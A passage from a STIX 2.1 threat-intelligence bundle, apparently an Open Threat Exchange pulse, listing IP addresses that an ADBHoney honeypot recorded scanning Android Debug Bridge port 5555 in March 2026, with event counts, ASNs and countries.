        "indicator--b0525028-ca2c-42bc-bfda-ed5d554d9ec9",
        "indicator--5457bb11-7610-4a41-9e4d-a2bbd2321de6",
        "indicator--5457bb11-7610-4a41-9e4d-a2bbd2321de6",
        "indicator--1fe48e14-0b08-4682-a2ea-6b43b84bf997",
        "indicator--1fe48e14-0b08-4682-a2ea-6b43b84bf997",
        "indicator--52970afa-0c40-4abc-b9f3-37d12639e3b8",
        "indicator--52970afa-0c40-4abc-b9f3-37d12639e3b8",
        "indicator--70ca1634-a748-42b9-b305-f8617db7257e",
        "indicator--89430396-5b13-4221-b78a-35f9deaf6697",
        "indicator--c56ab68e-7c41-430b-841e-228999f70736",
        "indicator--5c54b661-80d6-472a-aa7d-c6fdbbeefb4e",
        "indicator--2ee971bf-e65f-4e68-ac09-ee9ab966dc0f",
        "indicator--a919727a-d264-4599-b880-e4689f3f4d64",
        "indicator--a919727a-d264-4599-b880-e4689f3f4d64",
        "indicator--3c28619f-69af-4540-babd-18df57950043",
        "indicator--3c28619f-69af-4540-babd-18df57950043",
        "indicator--48b455c5-7b60-4a89-9a4f-3cbbbe4b0a71",
        "indicator--48b455c5-7b60-4a89-9a4f-3cbbbe4b0a71",
        "indicator--d7e2388a-3bc9-4e8a-8dc1-9fa3a8683394",
        "indicator--d7e2388a-3bc9-4e8a-8dc1-9fa3a8683394",
        "indicator--dca1f7d8-4c40-4de5-897f-0bc77c55e931",
        "indicator--388a2a48-fffd-4c99-acab-dd06ecd412e4",
        "indicator--7dcb0a8a-f501-467e-b1cf-9432cbbe148c",
        "indicator--a088894c-ffb8-4206-9a86-3909064e4b7f",
        "indicator--dca1f7d8-4c40-4de5-897f-0bc77c55e931",
        "indicator--388a2a48-fffd-4c99-acab-dd06ecd412e4",
        "indicator--7dcb0a8a-f501-467e-b1cf-9432cbbe148c",
        "indicator--a088894c-ffb8-4206-9a86-3909064e4b7f",
        "indicator--affaf2ef-395b-4ebf-982c-644b356c8c3d",
        "indicator--b7fa5d27-9bb2-443b-8a85-1777b2dd8e9e",
        "indicator--549b2ccc-a783-49f8-b59c-9ad2d718897b",
        "indicator--affaf2ef-395b-4ebf-982c-644b356c8c3d",
        "indicator--b7fa5d27-9bb2-443b-8a85-1777b2dd8e9e",
        "indicator--549b2ccc-a783-49f8-b59c-9ad2d718897b",
        "indicator--f6f2b983-137f-4414-90eb-9db2c537635f",
        "indicator--f6f2b983-137f-4414-90eb-9db2c537635f",
        "indicator--43f0a838-04ee-47cb-ae3c-bd9a71424f07",
        "indicator--01b369aa-7bca-4e8d-ac3e-f81cb4893752",
        "indicator--1d8de7a4-12ca-4a7d-b73b-494b2096f94b",
        "indicator--43f0a838-04ee-47cb-ae3c-bd9a71424f07",
        "indicator--01b369aa-7bca-4e8d-ac3e-f81cb4893752",
        "indicator--1d8de7a4-12ca-4a7d-b73b-494b2096f94b",
        "indicator--ad2ec482-5895-4f0b-8d07-8eb3de4a085d",
        "indicator--ad2ec482-5895-4f0b-8d07-8eb3de4a085d",
        "indicator--6e41f41f-0613-4c5c-a0ff-a04b16a2b030",
        "indicator--20199c85-bc57-4779-8e5b-f2e221e216f2",
        "indicator--3ae4b594-2f0c-4364-8087-98e02ddc8122",
        "indicator--be877fdc-6b36-44b4-8efc-cd66755033d0",
        "indicator--6e41f41f-0613-4c5c-a0ff-a04b16a2b030",
        "indicator--20199c85-bc57-4779-8e5b-f2e221e216f2",
        "indicator--3ae4b594-2f0c-4364-8087-98e02ddc8122",
        "indicator--be877fdc-6b36-44b4-8efc-cd66755033d0",
        "indicator--d7acdbd2-6b6b-4598-9553-7eab6da96a5f",
        "indicator--a93fcad0-a2e5-41b1-a260-2dd91f851ff5",
        "indicator--fb935938-e67f-403d-a517-2ecd2cd233c7",
        "indicator--b2433e9b-96d1-48df-8cb9-80c1cc500b8e",
        "indicator--fb935938-e67f-403d-a517-2ecd2cd233c7",
        "indicator--b2433e9b-96d1-48df-8cb9-80c1cc500b8e",
        "indicator--52de5d54-80bc-44b4-90c1-7f2e02a3f968",
        "indicator--1e4bdfdc-bd52-422a-b43b-ae031dfa5542",
        "indicator--52de5d54-80bc-44b4-90c1-7f2e02a3f968",
        "indicator--1e4bdfdc-bd52-422a-b43b-ae031dfa5542",
        "indicator--f12481a3-e44f-4f14-9363-d556a890660c",
        "indicator--fff4a3d9-3694-4f5a-8738-72d29230568d",
        "indicator--932cbb99-e451-4a2e-ba09-b339604e98ae",
        "indicator--932cbb99-e451-4a2e-ba09-b339604e98ae",
        "indicator--94caec20-e16f-499f-ac4b-a9ef7b139f48",
        "indicator--fdfd29cd-d94c-4f87-9862-69f13214c2b6",
        "indicator--129bca9e-a984-4428-b136-7c2c6ee1e24d",
        "indicator--083b3a9d-3513-47d2-b7cc-50fc1066237f",
        "indicator--8e36a05a-84ea-4f11-bf68-3ceb2722544d",
        "indicator--34c9d3a6-e889-4dd1-9680-799d5ce94e7b",
        "indicator--0127630f-eb6b-484e-bd33-ef9252a73773",
        "indicator--0127630f-eb6b-484e-bd33-ef9252a73773",
        "indicator--601402f8-330d-498f-9340-d06664810734",
        "indicator--601402f8-330d-498f-9340-d06664810734",
        "indicator--62c13cb7-5791-4275-81e4-aa1d7d657a1d",
        "indicator--4907f1c3-17d6-45fe-8d92-59e9df834587",
        "indicator--da75c319-53a5-4cb0-a26b-d252e5cdfd8f",
        "indicator--99183a38-7a21-4f3f-96b9-9a9fea8b1cb0",
        "indicator--7f241d26-9aa4-4576-980e-54f358059221",
        "indicator--99183a38-7a21-4f3f-96b9-9a9fea8b1cb0",
        "indicator--7f241d26-9aa4-4576-980e-54f358059221",
        "indicator--e241fcb7-a1db-405b-9983-09b681f053bc",
        "indicator--e241fcb7-a1db-405b-9983-09b681f053bc",
        "indicator--95c0a388-fa22-4033-9a3e-cfdd0f62b2bf",
        "indicator--95c0a388-fa22-4033-9a3e-cfdd0f62b2bf",
        "indicator--25eac691-fc21-4e5b-9b99-d094bc54ebc9",
        "indicator--25eac691-fc21-4e5b-9b99-d094bc54ebc9",
        "indicator--110e83ac-c2cb-46e1-ad19-af5c241519d1",
        "indicator--adaec145-0f13-41a5-bfdf-c3055fa493e0",
        "indicator--f69bbecc-cdb3-4df8-ae10-1161ad7a4942",
        "indicator--110e83ac-c2cb-46e1-ad19-af5c241519d1",
        "indicator--adaec145-0f13-41a5-bfdf-c3055fa493e0",
        "indicator--f69bbecc-cdb3-4df8-ae10-1161ad7a4942",
        "indicator--4c837450-4128-465e-9e97-cbbb96f86953",
        "indicator--c9dec768-54fe-4627-828d-785930ef029a",
        "indicator--c9dec768-54fe-4627-828d-785930ef029a",
        "indicator--3c1194bb-bec1-4043-8ed4-4cd3d853dc06",
        "indicator--69a4bf4d-ba4c-475e-a934-fe3e45320fff",
        "indicator--2ae2a26c-2f47-4a53-93b1-7686e1979e49",
        "indicator--5f463d11-f583-401f-a9a1-703d94738290",
        "indicator--3c1194bb-bec1-4043-8ed4-4cd3d853dc06",
        "indicator--69a4bf4d-ba4c-475e-a934-fe3e45320fff",
        "indicator--2ae2a26c-2f47-4a53-93b1-7686e1979e49",
        "indicator--5f463d11-f583-401f-a9a1-703d94738290",
        "indicator--be65a070-e079-4b04-bb30-79fc2890fa92",
        "indicator--ab87ea2d-5dc3-4490-b687-2f6cc9e7b2aa",
        "indicator--7e5d7484-e17e-4710-aca8-153eafde1992",
        "indicator--9a9c35a7-cefd-409a-a45e-a530e4960b36",
        "indicator--dc432462-30ae-40f3-89e7-5e9787a58af9",
        "indicator--9a9c35a7-cefd-409a-a45e-a530e4960b36",
        "indicator--dc432462-30ae-40f3-89e7-5e9787a58af9",
        "indicator--7854ff29-d238-4bfd-a685-6ce38868a5ba",
        "indicator--fda41dd6-887a-456f-a58f-be3eae77623e",
        "indicator--bab1af5b-3f6d-47c3-b053-1e8da4623cc6",
        "indicator--2654d5f2-1c5c-40e0-af47-7cba998fd0ad",
        "indicator--9d7d8941-9d0d-4e97-8e7f-8e6f1183b6e9",
        "indicator--671c448a-720c-43f8-bbb2-1192e7d660cb",
        "indicator--49b80d97-981d-4175-923e-79b5c9078121",
        "indicator--671c448a-720c-43f8-bbb2-1192e7d660cb",
        "indicator--49b80d97-981d-4175-923e-79b5c9078121",
        "indicator--fc5a1d83-1621-42db-bef9-d0f076d216fb",
        "indicator--b3d84834-1cc3-465e-ba6e-c438e6ab4c1d",
        "indicator--8050f9ef-b876-41e5-8f98-7cf8116ac16b",
        "indicator--f5e88a04-8051-4de7-97ee-85e06d6092b3",
        "indicator--c6877959-f461-4748-bc7f-004bc68f8a76",
        "indicator--80509897-54d4-4766-83b7-bef003b52f76",
        "indicator--0ef20420-41e3-4e95-8744-08fab5ebcc58",
        "indicator--0ef20420-41e3-4e95-8744-08fab5ebcc58",
        "indicator--ba48ad91-c64f-4d70-b46b-43bca93fd8fa",
        "indicator--af682231-37df-43b8-8779-e1dc562398c7",
        "indicator--b65b9ce6-3648-4e4c-88c4-c4f602056ca6",
        "indicator--c3644ed9-3b81-4177-b57d-550a58eb3e17",
        "indicator--835052ed-487a-4713-abac-ad49dadc1437",
        "indicator--e5bd27d8-baca-4c8a-9569-83a4832652a3",
        "indicator--835052ed-487a-4713-abac-ad49dadc1437",
        "indicator--e5bd27d8-baca-4c8a-9569-83a4832652a3",
        "indicator--0ded3e8e-93c0-442d-af08-a80bb7d04563",
        "indicator--9045821b-982c-4b45-acc9-4f0722e124ec",
        "indicator--07f4c969-98be-4f62-bb7c-c04e7403d635",
        "indicator--a316bb7d-987b-425c-8783-856b97ec45ec",
        "indicator--7a8de1a3-e157-4b94-8f8c-bcb8e26961ad",
        "indicator--d97b7e0f-cd83-4d36-92e0-b85218b3c17d",
        "indicator--8be1be8e-c421-47fc-afb6-e430703d03ee",
        "indicator--553eab97-b0c7-4b99-8245-45cad6c4fbeb",
        "indicator--da4dc1a9-4ffc-4b0c-aa5e-7c883430343e",
        "indicator--38079a31-1976-41da-8b19-0a85d823b168",
        "indicator--4a51b112-4e25-41db-916c-c459bf164dee",
        "indicator--3ff45d7c-0ae0-4dcf-a22a-db4b51544bd3",
        "indicator--c3a5fca8-b314-47de-b1fa-99e07711cfde",
        "indicator--a3a2c154-7168-4b76-b650-c630ba4f8cfc",
        "indicator--3a8fd5b1-204e-4837-9854-5bc9f0c99ded",
        "indicator--32727ecb-5908-4a1c-94ea-adad416e893a",
        "indicator--aeb6dfd7-97d3-4a66-95d4-4965015af0cf",
        "indicator--cceb12a9-6a06-4929-8449-b6b2b4d849b6",
        "indicator--2373b78f-8b26-4a6b-9dca-42581b4cf808",
        "indicator--45c3dbd6-711c-4bcf-b379-82a5767c3327",
        "indicator--f6404513-b594-4a74-9a73-4bfcfc764d78",
        "indicator--3d310da3-942f-4e86-900f-44bc0083e440",
        "indicator--99bb4314-c005-4be4-aed9-eb02634b53c6",
        "indicator--54fe66e6-7dea-4773-9f40-6506e3ec7b06",
        "indicator--54fe66e6-7dea-4773-9f40-6506e3ec7b06",
        "indicator--49f5baeb-5c51-49ef-a970-f1a75bf5b47e",
        "indicator--49f5baeb-5c51-49ef-a970-f1a75bf5b47e",
        "indicator--e3edc604-2c1f-49ed-8a30-207b101b2577",
        "indicator--e3edc604-2c1f-49ed-8a30-207b101b2577",
        "indicator--05d2696e-b8d7-4531-b8a4-7098ea3d61b8",
        "indicator--05d2696e-b8d7-4531-b8a4-7098ea3d61b8",
        "indicator--d8dc33a9-f846-44bf-a76e-08292fdac9ce",
        "indicator--b8284de6-b6e6-4c2f-b39b-ac6f71187049",
        "indicator--b8284de6-b6e6-4c2f-b39b-ac6f71187049",
        "indicator--096a68c3-1166-477e-ba08-71caec8379f1",
        "indicator--e2279554-6d61-4a3a-a615-90ead5d02040",
        "indicator--6517d458-7505-426d-b098-5a27587a962b",
        "indicator--36916752-0011-477e-a118-e77178cb4c53",
        "indicator--096a68c3-1166-477e-ba08-71caec8379f1",
        "indicator--e2279554-6d61-4a3a-a615-90ead5d02040",
        "indicator--6517d458-7505-426d-b098-5a27587a962b",
        "indicator--36916752-0011-477e-a118-e77178cb4c53",
        "indicator--6ea81df4-8940-4e4a-86a2-561390fe320f",
        "indicator--3104c1a9-1dbc-4289-b558-179dac5a9199",
        "indicator--daa6e983-5681-4f02-9d58-facde3810bf7",
        "indicator--05c2ce9d-5496-465f-8f7d-cdee3be3790e",
        "indicator--6ea81df4-8940-4e4a-86a2-561390fe320f",
        "indicator--3104c1a9-1dbc-4289-b558-179dac5a9199",
        "indicator--daa6e983-5681-4f02-9d58-facde3810bf7",
        "indicator--05c2ce9d-5496-465f-8f7d-cdee3be3790e",
        "indicator--21cba102-5302-4cec-9018-49c6110abc71",
        "indicator--f9ed24c8-bde9-438c-b24b-7b6c41634b0f",
        "indicator--c0579ad1-8cc3-45d9-905c-5a89d0b57842",
        "indicator--46c9b366-aefb-4bfe-af18-0e3040f6ab9d",
        "indicator--431857a4-fd5a-4218-8709-3ba9ad5b8e7b",
        "indicator--47b386e2-1728-46e8-ac5a-da91f82cf2f6",
        "indicator--431857a4-fd5a-4218-8709-3ba9ad5b8e7b",
        "indicator--47b386e2-1728-46e8-ac5a-da91f82cf2f6",
        "indicator--a90ff2db-ae4d-4907-8cd3-1993c789780b",
        "indicator--a90ff2db-ae4d-4907-8cd3-1993c789780b",
        "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
        "indicator--4bc2f410-824a-4734-aa39-c6ff63ac496d",
        "indicator--2b9f4693-eb76-4991-b4f9-fd699027ff5d",
        "indicator--2b9f4693-eb76-4991-b4f9-fd699027ff5d",
        "indicator--eaab48f8-d493-482d-80c4-a12a4e58febe",
        "indicator--eaab48f8-d493-482d-80c4-a12a4e58febe",
        "indicator--315f3e1a-38f1-4fd1-a80a-421d651b0aa5",
        "indicator--315f3e1a-38f1-4fd1-a80a-421d651b0aa5",
        "indicator--01622640-c17a-46e4-89ec-f0d6030a9849",
        "indicator--b5ae8339-b1c3-4406-934a-f97cea9f21a9",
        "indicator--b5ae8339-b1c3-4406-934a-f97cea9f21a9",
        "indicator--2cb63039-d07e-42b4-8e74-83c737ebd8a3",
        "indicator--2cb63039-d07e-42b4-8e74-83c737ebd8a3",
        "indicator--1d8fc362-08a9-4969-b967-8fb71a30a12f",
        "indicator--125840d7-9d92-4986-b0cb-f4c1b7451f76",
        "indicator--1d8fc362-08a9-4969-b967-8fb71a30a12f",
        "indicator--125840d7-9d92-4986-b0cb-f4c1b7451f76",
        "indicator--6fbcbc62-d35a-4145-8298-8a84d6eae69c",
        "indicator--6fbcbc62-d35a-4145-8298-8a84d6eae69c",
        "indicator--0b798b7d-eb47-4720-9bb2-ceddec9fd903",
        "indicator--37ae065c-4338-4a81-b2df-f98eea18f855",
        "indicator--82b36727-89cb-4e0c-9280-dc6237592bb2",
        "indicator--0b798b7d-eb47-4720-9bb2-ceddec9fd903",
        "indicator--37ae065c-4338-4a81-b2df-f98eea18f855",
        "indicator--82b36727-89cb-4e0c-9280-dc6237592bb2",
        "indicator--3716e489-22ee-4f74-b4d0-368638dd945f",
        "indicator--3716e489-22ee-4f74-b4d0-368638dd945f",
        "indicator--dac486dc-bce1-4048-b7d9-eb25d0356dcf",
        "indicator--dac486dc-bce1-4048-b7d9-eb25d0356dcf",
        "indicator--2cb0f6c9-51f8-43f5-99fc-a1b0eb2c46fa",
        "indicator--21c7e2e6-a201-479c-a764-e9eb25d6af40",
        "indicator--2cb0f6c9-51f8-43f5-99fc-a1b0eb2c46fa",
        "indicator--21c7e2e6-a201-479c-a764-e9eb25d6af40",
        "indicator--2316eebb-24e9-4f5b-beff-2ec72314e138",
        "indicator--8a305ec8-4a85-4445-a7a2-20fd03e8e60b",
        "indicator--2316eebb-24e9-4f5b-beff-2ec72314e138",
        "indicator--8a305ec8-4a85-4445-a7a2-20fd03e8e60b",
        "indicator--ebe2b1e6-daa7-42ad-a1f7-f1fd44ee4adc",
        "indicator--c00d390c-65c8-4e46-8bdc-dfe6b735ec04",
        "indicator--ebe2b1e6-daa7-42ad-a1f7-f1fd44ee4adc",
        "indicator--c00d390c-65c8-4e46-8bdc-dfe6b735ec04",
        "indicator--e70e019e-4043-4583-adce-17e3c0de3f9a",
        "indicator--e70e019e-4043-4583-adce-17e3c0de3f9a",
        "indicator--14d6a032-c263-48da-8046-98e1649f44cb",
        "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
        "indicator--14d6a032-c263-48da-8046-98e1649f44cb",
        "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
        "indicator--8ad64cf7-178b-4cb7-94d7-a59420cf3e15",
        "indicator--8ad64cf7-178b-4cb7-94d7-a59420cf3e15",
        "indicator--866d5f3a-9307-4991-bab4-cafa2a1466ed",
        "indicator--019e465b-6221-4882-9bec-a08dd19313b9",
        "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
        "indicator--866d5f3a-9307-4991-bab4-cafa2a1466ed",
        "indicator--019e465b-6221-4882-9bec-a08dd19313b9",
        "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
        "indicator--b3911f83-ca4d-47e3-8636-837a0729aacd",
        "indicator--17b7b95d-1532-49bd-a70b-702e889f7b64",
        "indicator--654313fd-8e99-4fcd-9f86-d740cb3a1b81",
        "indicator--effba24c-6cf1-4a34-98a5-86b938003d5a",
        "indicator--effba24c-6cf1-4a34-98a5-86b938003d5a",
        "indicator--c1a9ff6c-d776-43c8-8b92-e2ab72bae66a",
        "indicator--697e5ee0-29d2-4587-98d0-df2714102f0b",
        "indicator--c1a9ff6c-d776-43c8-8b92-e2ab72bae66a",
        "indicator--697e5ee0-29d2-4587-98d0-df2714102f0b",
        "indicator--403c0619-42e3-47c2-9151-585171723686",
        "indicator--0dbfbfaf-552d-4800-96c8-e214de8b37d8",
        "indicator--6050f96f-a2c9-46e7-ba7f-7b954a9c0a28",
        "indicator--86c2ae3e-755c-4965-9f8a-23a1fe5f3a2c",
        "indicator--0dbfbfaf-552d-4800-96c8-e214de8b37d8",
        "indicator--6050f96f-a2c9-46e7-ba7f-7b954a9c0a28",
        "indicator--86c2ae3e-755c-4965-9f8a-23a1fe5f3a2c",
        "indicator--2122625d-4df6-4d02-b8e5-7f9cb2caac31",
        "indicator--2122625d-4df6-4d02-b8e5-7f9cb2caac31",
        "indicator--b12f0e69-5a7f-4404-bebf-677e2b0ff544",
        "indicator--b12f0e69-5a7f-4404-bebf-677e2b0ff544",
        "indicator--301a197d-04fc-4522-b12a-615f0d910271",
        "indicator--301a197d-04fc-4522-b12a-615f0d910271",
        "indicator--3e0f4514-cb81-4f50-8a2e-b7529197798b",
        "indicator--a43de949-0439-4afd-9586-a48a3c12574f",
        "indicator--accc8db6-3e8f-4723-9ad4-424c519cd178",
        "indicator--f6d89430-1184-480e-a5c3-faf5f2a4b700",
        "indicator--f248c89a-4f30-4a60-bf57-a0cd3b205ab5",
        "indicator--f6d89430-1184-480e-a5c3-faf5f2a4b700",
        "indicator--f248c89a-4f30-4a60-bf57-a0cd3b205ab5",
        "indicator--666f0858-c360-45e6-b12f-0dae3e38b73b",
        "indicator--aa63a03f-986f-4178-941b-87c098d4eb00",
        "indicator--666f0858-c360-45e6-b12f-0dae3e38b73b",
        "indicator--aa63a03f-986f-4178-941b-87c098d4eb00",
        "indicator--2c02d1dc-5381-4bac-a06f-f39bd3d3c394",
        "indicator--2c02d1dc-5381-4bac-a06f-f39bd3d3c394",
        "indicator--a79bab1b-94f0-4df6-b020-239fbd4b4f1c",
        "indicator--a79bab1b-94f0-4df6-b020-239fbd4b4f1c",
        "indicator--17b803e5-b70f-4ae0-b984-105adf995188",
        "indicator--17b803e5-b70f-4ae0-b984-105adf995188",
        "indicator--9f3e13f6-3587-4f5b-a7d1-0c2cce809fda",
        "indicator--9f3e13f6-3587-4f5b-a7d1-0c2cce809fda",
        "indicator--ca8eaf5c-166b-41c5-879e-3b6bf5bba671",
        "indicator--a89a0a3e-4286-4200-9b8d-f529b5b10e70",
        "indicator--470f18b1-4138-497e-a171-0becfa6ce8f6",
        "indicator--47ddf46e-7477-4b49-9c11-a4d692e9c0d8",
        "indicator--47ddf46e-7477-4b49-9c11-a4d692e9c0d8",
        "indicator--b939fc4b-e0bd-4e48-96d8-6672675d0608",
        "indicator--b939fc4b-e0bd-4e48-96d8-6672675d0608",
        "indicator--5b07cda8-82da-44a8-baf0-a46b640c2cc6",
        "indicator--5b07cda8-82da-44a8-baf0-a46b640c2cc6",
        "indicator--0506142a-55de-418f-a84a-5cb1686b5f50",
        "indicator--ee839113-c039-4274-93b1-a772f19510c1",
        "indicator--3e405b0a-f653-4ae7-8646-6f702b7fb403",
        "indicator--c2956aa6-5da3-4529-811e-ca749c4ac9de",
        "indicator--3e405b0a-f653-4ae7-8646-6f702b7fb403",
        "indicator--c2956aa6-5da3-4529-811e-ca749c4ac9de",
        "indicator--9488d9c8-2915-4e46-afe3-84268e972edb",
        "indicator--9488d9c8-2915-4e46-afe3-84268e972edb",
        "indicator--8e99815b-faef-4471-af26-cafc81e63687",
        "indicator--fc21d911-ffe8-4ad8-9593-fe3548658bf2",
        "indicator--c842da96-ab42-494f-97db-0b46715a7e2f",
        "indicator--436bca3e-6ec0-4819-92a9-3e595af12317",
        "indicator--15fe4b37-c568-4eab-8249-22da92202ebc",
        "indicator--d1fb97a8-4334-422c-897d-c45a6fc507d2",
        "indicator--3c21a198-3c92-4bb8-98c8-c947fbffd2ff",
        "indicator--0df64077-bbd4-4749-acaf-466999adf891",
        "indicator--04fde8eb-8666-4d63-b035-acbb9605ebca",
        "indicator--464dcef3-c31b-43b5-8cb9-1c5581357fe6"
      ],
      "published": "2026-03-01T01:00:17.034Z",
      "spec_version": "2.1",
      "type": "report"
    },
    {
      "contact_information": "https://otx.alienvault.com/",
      "created": "2026-03-01T01:00:17.034Z",
      "id": "identity--ab072f15-9b87-4ee1-898f-b584d41f29b0",
      "identity_class": "organization",
      "modified": "2026-03-01T01:00:17.034Z",
      "name": "Open Threat Exchange",
      "spec_version": "2.1",
      "type": "identity"
    },
    {
      "created": "2026-03-01T01:00:18.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=202412; asn_org=Omegatech LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=1470 | first_seen=2026-03-02T00:31:30.000Z | last_seen=2026-03-31T22:16:16.402Z | ports=5555 | cc=NL,US | asn=202412 | org=Omegatech LTD",
      "id": "indicator--5b51f46b-84f5-4083-9c90-d36ed4dd1472",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T01:00:18.000Z",
      "valid_until": "2026-04-02T01:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 1470,
          "first_seen": "2026-03-02T00:31:30.000Z",
          "last_seen": "2026-03-31T22:16:16.402Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL",
            "US"
          ],
          "asn": [
            "202412"
          ],
          "org": [
            "Omegatech LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T02:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=36680; asn_org=Netiface LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-02T02:53:18.000Z | last_seen=2026-03-02T03:04:40.817Z | ports=5555 | cc=US | asn=36680 | org=Netiface LLC",
      "id": "indicator--364910b6-a5da-4b1a-a2a4-b56aa0a1c649",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '130.12.182.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:00:13.000Z",
      "valid_until": "2026-04-02T02:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-02T02:53:18.000Z",
          "last_seen": "2026-03-02T03:04:40.817Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "36680"
          ],
          "org": [
            "Netiface LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T02:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=247; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=240 | first_seen=2026-03-19T15:30:15.000Z | last_seen=2026-03-19T15:50:49.830Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--08b1415a-9b43-448a-b793-9f2998843b87",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:00:13.000Z",
      "valid_until": "2026-04-02T02:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 240,
          "first_seen": "2026-03-19T15:30:15.000Z",
          "last_seen": "2026-03-19T15:50:49.830Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T02:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=DE; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=1057 | first_seen=2026-03-03T18:51:30.000Z | last_seen=2026-03-31T16:05:38.080Z | ports=5555 | cc=DE | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--30a8200c-53fb-4fb1-9eb7-8a4fe58bd53b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.135.194.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T02:00:13.000Z",
      "valid_until": "2026-04-02T02:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 1057,
          "first_seen": "2026-03-03T18:51:30.000Z",
          "last_seen": "2026-03-31T16:05:38.080Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-01T02:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=DE; asn=212512; asn_org=Detai Prosperous Technologies Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=0",
      "id": "indicator--03051c73-3e09-404b-a8b4-cf3e80bb9cfc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
